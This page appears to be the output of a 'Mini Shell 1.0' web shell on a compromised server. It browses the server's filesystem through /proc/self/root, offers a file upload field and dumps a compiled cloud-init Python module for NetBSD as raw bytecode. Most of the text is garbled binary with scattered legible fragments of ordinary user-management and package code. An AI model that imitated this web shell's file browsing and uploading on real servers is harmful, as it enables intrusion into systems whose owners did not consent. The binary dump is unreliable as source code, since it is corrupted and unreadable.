HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/netbsd.cpython-311.pyc
�

܍~c����ddlZddlZddlZddlZddlmZddlmZmZej	e
��ZGd�dejj
j��ZGd�de��ZdS)�N)�log)�subp�utilc�f��eZdZdZdZdgZ�fd�Zd�Zd�Zdd�Z	d	�Z
d
�Zd�Zdd
�Z
d�Zd�Z�xZS)�NetBSDzS
    Distro subclass for NetBSD.

    (N.B. OpenBSD inherits from this class.)
    z*/usr/pkg/etc/sudoers.d/90-cloud-init-users�groupaddc���t���|||��tj�d��r&gd�|_gd�|_gd�|_gd�|_dSddg|_dg|_dS)	Nz/usr/pkg/bin/pkgin)�pkgin�-y�install)r
r�remove)r
r�update)r
rzfull-upgrade�pkg_addz-U�
pkg_delete)	�super�__init__�os�path�exists�pkg_cmd_install_prefix�pkg_cmd_remove_prefix�pkg_cmd_update_prefix�pkg_cmd_upgrade_prefix)�self�name�cfg�paths�	__class__s    ��:/usr/lib/python3/dist-packages/cloudinit/distros/netbsd.pyrzNetBSD.__init__s����
������s�E�*�*�*�
�7�>�>�.�/�/�	8�*D�*D�*D�D�'�)B�)B�)B�D�&�)B�)B�)B�D�&�*I�*I�*I�D�'�'�'�+4�d�*;�D�'�*6��D�&�&�&�c��dd||gS)N�usermod�-G�)r�member_name�
group_names   r�_get_add_member_to_group_cmdz#NetBSD._get_add_member_to_group_cmd%s���4��[�9�9r c��tj|��rt�d|��dSdg}dg}dddddd	�}d
ddd
�}|���D]z\}}||vr5|r3t|t��r|�|||g���>||vr8|r6|�||��|�||���{d|vsd|vr|dgz
}|dgz
}||gz
}||gz
}t�d|��	tj	||���n*#t$rtjtd|���wxYw|�dd��}	|	�|�
||	d���dSdS)Nz!User %s already exists, skipping.F�useraddz-dz-cz-gr#z-s)�homedir�gecos�
primary_group�groups�shellz--no-user-groupz--systemz
--no-log-init)�
no_user_group�system�no_log_init�no_create_homer0z-mzAdding user %s)�	logstringzFailed to create user %s�passwdT)�hashed)r�is_user�LOG�info�items�
isinstance�str�extend�appendr�	Exception�logexc�get�
set_passwd)
rr�kwargs�adduser_cmd�log_adduser_cmd�adduser_opts�
adduser_flags�key�val�
passwd_vals
          r�add_userzNetBSD.add_user(s����<����	��H�H�8�$�?�?�?��5� �k��$�+����!���
�
��/� �*�
�
�
������	;�	;�H�C���l�"�"�s�"�z�#�s�/C�/C�"��"�"�L��$5�s�#;�<�<�<�<��
�%�%�#�%��"�"�=��#5�6�6�6��&�&�}�S�'9�:�:�:���6�)�)�X�V�-C�-C��D�6�!�K���v�%�O���v����D�6�!��	���!�4�(�(�(�	��I�k�_�=�=�=�=�=���	�	�	��K��7��>�>�>��	����
�Z�Z��$�/�/�
��!��O�O�D�*�T�O�:�:�:�:�:�"�!s�D(�('EFc�(�|r|}n3tj}tj|tj|����}	tjdd||g��n*#t$rtjtd|���wxYw|�|��dS)Nr"z-pzFailed to set password for %s)	�crypt�METHOD_BLOWFISH�mksaltrr>rr?r7�
unlock_passwd)r�userr4r5�	hashed_pw�methods      rrAzNetBSD.set_passwdYs����	B��I�I��*�F���F�E�L��,@�,@�A�A�I�	��I�y�$�	�4�8�9�9�9�9���	�	�	��K��<�d�C�C�C��	����	
���4� � � � � s�A�'A:c��	tjdd|g��dS#t$rtjtd|���wxYw)Nr"z-Fz"Failed to set pw expiration for %s�rr>rr?r7)rrPs  r�force_passwd_changezNetBSD.force_passwd_changegsW��	��I�y�$��-�.�.�.�.�.���	�	�	��K��A�4�H�H�H��	���s	��'Ac��	tjddd|g��dS#t$rtjtd|���wxYw)Nr"�-C�yeszFailed to lock user %srT�rrs  r�lock_passwdzNetBSD.lock_passwdnsY��	��I�y�$��t�4�5�5�5�5�5���	�	�	��K��5�t�<�<�<��	����	��'Ac��	tjddd|g��dS#t$rtjtd|���wxYw)Nr"rW�nozFailed to unlock user %srTrYs  rrOzNetBSD.unlock_passwdusY��	��I�y�$��d�3�4�4�4�4�4���	�	�	��K��7��>�>�>��	���r[Nc�:�t�d��dS)NzCannot set the locale.)r7�debug)r�locale�out_fns   r�apply_localezNetBSD.apply_locale|s���	�	�*�+�+�+�+�+r c��tj��}tj��}tj���}d|�d|�d�|d<|S)z9Return env vars used in NetBSD package_command operationsz1http://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/�/z/All�PKG_PATH)�platform�release�machiner�environ�copy)r�
os_release�os_arch�es    r�_get_pkg_cmd_environzNetBSD._get_pkg_cmd_environsZ���%�'�'�
��"�$�$���J�O�O�����
�G�G��J�J�
�	
��	
��r c��dS�Nr$)rs r�update_package_sourceszNetBSD.update_package_sources�s���r )Frp)�__name__�
__module__�__qualname__�__doc__�
ci_sudoers_fn�group_add_cmd_prefixrr'rJrArUrZrOrbrnrq�
__classcell__)rs@rrrs����������A�M�&�<��	8�	8�	8�	8�	8�:�:�:�/;�/;�/;�b!�!�!�!����������,�,�,�,����
�
�
�
�
�
�
r rc��eZdZdS)�DistroN)rrrsrtr$r rrzrz�s�������Dr rz)rLrrf�cloudinit.distros.bsd�	cloudinitr�loggingrr�	getLoggerrrr7�distros�bsd�BSDrrzr$r r�<module>r�s���

����	�	�	�	���������$�$�$�$�$�$� � � � � � � � ��g���!�!��}
�}
�}
�}
�}
�Y�
�
"�
&�}
�}
�}
�@	�	�	�	�	�V�	�	�	�	�	r